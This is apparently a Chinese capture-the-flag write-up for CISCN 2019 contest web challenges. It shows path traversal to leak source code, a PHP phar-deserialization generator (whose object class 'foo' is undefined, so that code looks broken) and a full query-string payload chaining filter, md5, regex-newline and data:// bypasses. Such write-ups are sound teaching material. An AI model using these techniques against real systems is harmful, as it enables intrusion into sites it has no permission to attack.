题目:
https://github.com/neuqcsa/ctf/tree/master/ciscn2019_华北赛区线下赛
day1
web1
这道题考察的是phar反序列化
参考:https://www.cnblogs.com/iceli/p/9564061.html
在下载的时候抓包把filename改成…/…/xxx.php可以得到源代码
可以发现在delete.php里的
1 2 3 4 5 6
| if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); }
|
把$filename传给了open方法
在class.php中有
1 2 3 4 5 6 7 8
| public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
|
$filename最终被传给了file_exists()
而file_exists()是可以触发phar反序列化的
于是用这段代码生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class File{ public $filename = "/flag.txt"; } class User { public $db; } class FileList { public $files; } $o = new foo(); $o->ha='echo "error";'; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
day2
web1
绕过空格
web2
这其实是2019北邮中学生网安杯一道题改过来的,难度还是降低了的(参见https://www.anquanke.com/post/id/170299)
通过index.php底下的hint可以看出存在文件包含,
直接用?src=xxx就能拿到index.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| Null ... Null ... Null ... <html> <body> <!-- ?src --> </body>
<?php echo "Null ... Null ... Null ... ";
if(isset($_GET['src'])) { die(highlight_file('index.php', true)); }
error_reporting(0); if($_REQUEST){ foreach ($_REQUEST as $key => $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.'); } } if($_SERVER){ if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..'); } if(isset($_GET['cyber'])){ if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){ die('Hello Hack...'); }else{ if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ $getflag = file_get_contents($_GET['flag']); }else die('Hello Hack....'); if(isset($getflag) && $getflag === 'security'){ include 'flag.php'; echo $flag; }else die('Hello Hack.....'); } } ?>
|
可以看到需要绕过几个地方
1.
1 2 3 4 5 6 7
| if($_REQUEST){ foreach ($_REQUEST as $key => $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.'); } }
|
php是按照环境变量,get参数,post参数这样的顺序去解析$_REQUEST的,
所以只要post提交一个同名的参数,其值为数字,这样同名的get参数就可以包含字母了
1 2 3 4 5
| if($_SERVER){ if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..'); }
|
这里利用的是$_SERVER[‘QUERY_STRING’]是不会进行url解码的,所以只要把cyber,flag,ciscn进行url编码即可绕过
1 2 3 4
| if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){ die('Hello Hack...'); }
|
这里可以用数组绕过,传入cyber[]=x(注意cyber要url编码)
(这种绕过方法要求php版本在5.3以上)
1 2 3 4 5
| if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ $getflag = file_get_contents($_GET['flag']); }else die('Hello Hack....');
|
/^ciscnsec$/没有加修饰符D,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符,
因此在ciscnsec的url编码后面加%0a(换行符的url编码)绕过
1 2 3 4 5 6 7 8 9 10
| if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ $getflag = file_get_contents($_GET['flag']); }else die('Hello Hack....'); if(isset($getflag) && $getflag === 'security'){ include 'flag.php'; echo $flag; }else die('Hello Hack.....'); }
|
使用data://伪协议
传入flag=data:text/plain,security
最终的payload为
1 2
| ?%66%6c%61%67=data:text/plain,security&%63%79%62%65%72[]=x&%63%69%73%63%6e=%63%69%73%63%6e%73%65%63%0a 同时post提交flag=123&ciscn=123
|